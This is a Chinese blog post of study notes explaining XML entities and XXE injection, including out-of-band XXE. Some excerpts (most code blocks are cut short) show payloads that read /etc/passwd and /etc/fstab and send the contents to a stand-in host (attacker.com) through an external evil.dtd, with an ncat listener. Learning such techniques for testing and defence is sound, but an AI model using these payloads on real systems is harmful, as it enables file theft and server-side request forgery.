这几天突然想了解一下什么是xml实体注入,于是在b站看到了这个视频,讲的挺不错的,但理解还不是很深刻,所以写下这篇博客记录一下。
基本上大致知道了如何去利用xml实体注入,所以为了节省时间(也还是懒),就照搬一下这位师傅的这篇博客,加上一些自己的看法,写下这篇博客
一、什么是xml
XML(可扩展标记语言)与HTML类似,但HTML与数据表示有关,而XML更多与数据传输、存储有关。
先来看看xml文档格式:
1 | //元数据,版本为xml解析器解析的版本 |
<Person></Person>
为根元素,有且仅有一个
需要注意的是,标签对大小写敏感,前后标签必须一致,如<read></Read>
则是错误的,必须<read></read>
< ,> ," ,' , &
等符号不被允许直接出现在XML文档中,因为xml解析器会搞不清这些符号是数据还是标签
1 | <Age>20 < > & " '</Age> //×错误 |
那么这个时候就需要Entity来解决这个问题
二、关于Entity实体
Entity(可用实体):一种简单的存储单元,好比xml的变量,可以对它进行赋值,并在xml文档的不同地方对它进行引用。
实体(Entity)在xml文档中的文档类型定义部分(DTD)被单独定义描述。
举个栗子:
1 | 1 <?xml version="1.0" ?> |
2~4行代码就是通过DTD方式创建了一个ENTITY告知xml解析器这是一个DTD定义类型
Entity分为三类
①一般实体General(通用型实体)
1 | ... |
通用型实体就是上面举的那个栗子
ps:原博客这里写错了,我改了下
②参数实体Parameter(必须预定在单独的DTD区域)
1 | <!ENTITY % outer "<! ENTITY inner 'John'>"> |
区别貌似就是定义实体名字的时候要加%
,还有参数实体可以用一个Entity给另一个Entity赋值,也由于这个特性,在xxe中挺有作用的,可以想办法套娃绕过之类的
③预定义实体Predefined(某些特殊符号的一组预定义数值集)
1 | <hello><</hello> // <的十六进制表示 |
用<
代替<
就可以避免xml解释器报错了
三、外部实体(Xml External Entity)
实体(Entity)有哪些用途呢?
存储指定数值;
从本地文件、从远程网络中调用相关数据,作为后续实体引用;
那么这就会出现问题
我们先来看看外部实体的一个实例,来帮助我们了解其工作机制
1 | <?xml version="1.0" ?> |
SYSTEM 关键字让xml解析器知道该实体是一个外部实体,需要xml解析器去获取 “ secret.txt ” 其中的外部资源,并把它存储到内部实体 subscribe 中
需要注意的是,如果secret.txt中的内容如果包含<,>
等xml语法中的标签,那么xml解析器就会报错,也就不能读取其中的内容了,至于如何解决这个问题,后面会提到
<pwn>&subscribe;</pwn>
表示内部实体subscribe
会后续在<pwn>
标签中被调用
secret.txt
其中的内容被赋值到了内部实体subscibe
中
其中的SYSTEM后面可以跟URI,即STSYEM “URI”
这里支持有效的URI(文件、http、ftp和其他协议形式内容,如SYSTEM "http://127.0.0.1"
)
四、外部实体注入 (XXE)
分类:
带内数据 in-band (就是我们上面举的外部实体的那个栗子,将内部的数据带出来,应该也是比赛最常见的,直接读取/flag之类的)
基于错误 error-based (有点像盲注,解析结果没有其他,只有一堆报错,就类似报错注入吧)
带外数据 out-of-band(真正的盲注,无任何回显,需要借助服务器监听外带数据)
按照视频里讲的,这里再主要介绍一下OOB XXE,下面的这些解释也是完全按照视频的原话来的,可能讲的也不太清楚
OOB XXE(盲注XXE)
当我们遇到这种情况时,一个web应用程序,它可以解析XML输入,但是却无任何输出响应,必须用带外请求把目标提取出来,为了测试这种盲注XXE,我们可以用非文件路径的外部实体来请求这里的web应用。
例如,在存在xxe漏洞的地方,输入以下代码
1 | <?xml version="1.0" ?> |
在攻击机attack.com主机上监听1337端口
1 | ncat -lp 1337 |
可以看见有反应
XXE ——————> server ———————->attack.com
受害端有效解析了xml,正尝试获取我们在attack.com上的资源作为实体引用,这样我们就能以受害端的身份发起请求了,这就是SSRF
五、加载外部DTD
DTD并不是xml数据的一部分,它们总是再根元素的定义之上,所以DTD也可以像实体一样,从外部加载,如下
1 | <!DOCTYPE Pwn SYSTEM "external.dtd"> |
程序解析时,解析器将从外部DTD中提取并解析内容,这种机制可以构造结构良好的xml文档,因为它将定义和数据部分区分了开来,但同时也带来了更加广的攻击面
上面的例子中调用的external.dtd
内容如下
1 | <!ENTITY % name "JEF"> |
再来通过一个例子更加直观的来看看xml解析器解析的过程
1 | <?xml version="1.0" ?> |
这个例子中,我们定义了一个参数实体parameter_entity
,而这个参数实体的值,又是通过另一个参数实体general_entity
来定义的,这种方式我们上面也讲到过
再在DTD中调用%parameter_entity;
即等效于<!ENTITY general_entity 'PwnFunction'>
最后在根元素中调用&general_entity;
即完成了整个流程
接下来再看一个盲注XXE的具体例子吧
1 | <?xml version="1.0" ?> |
上面这个例子中,读取了/etc/passwd中的内容,通过http的方式将数据带出,%wrapper
就相当于<!ENTITY send SYSTEM 'http://attacker.com/?CONTENTS_OF_PASSWD'
但如果直接使用上面这个例子,那么肯定会报错,因为xml的规定中,不能在实际的标记语言中在调用实体参数,即在http://attacker.com/?%passwd;
直接调用%passwd这一步是错误的,但可以在同级别中被当作标记语言调用,即%wrapper;
是正确的(挺奇葩的规定)
但是上面的规则仅限于内部DTD,所以为了上面这种情况的发生,就可以用外部DTD来绕过它,如下
1 | <?xml version="1.0" ?> |
其中evil.dtd中的内容就是之前读取/etc/passwd的部分,如下
1 | <!ENTITY % passwd SYSTEM "file:///etc/passwd" |
这样,就成功读取到了/etc/passwd中的内容到我们的攻击机上
六、当读取的内容中有xml语法标签时
还是用五中的例子,如果我们换成读取/etc/fstab中的内容时,会发现读取失败了,因为其中有xml语法标签<,>
,如图
那么要如何去读取数据呢?这里就要用到CDATA
CDATA表示字符数据,它是一种特殊语法,在CDATA开闭标签中的文本部分不会被XML标记语言解析处理,也就达到了我们的目的,它的格式如下
<![CDATA[ <text> ]]>
如果直接写在一个DTD中,也会报五中一样的错误,所以这里也需要用到加载外部DTD的方法,如下
1 | <?xml version="1.0" ?> |
其中evil.dtd的内容是
1 | <!ENTITY % file SYSTEM "file:///etc/fstab" |
总结
其实xxe这部分内容也不是很多,视频也就20分钟左右,但主要是从来没了解过,这次算是了解的比较清楚了。最近老是偷懒,又感觉没了学习的动力,博客也更新的少了,这样下去不行啊,得赶紧调整状态,落下了就是落下了,还是很难受的。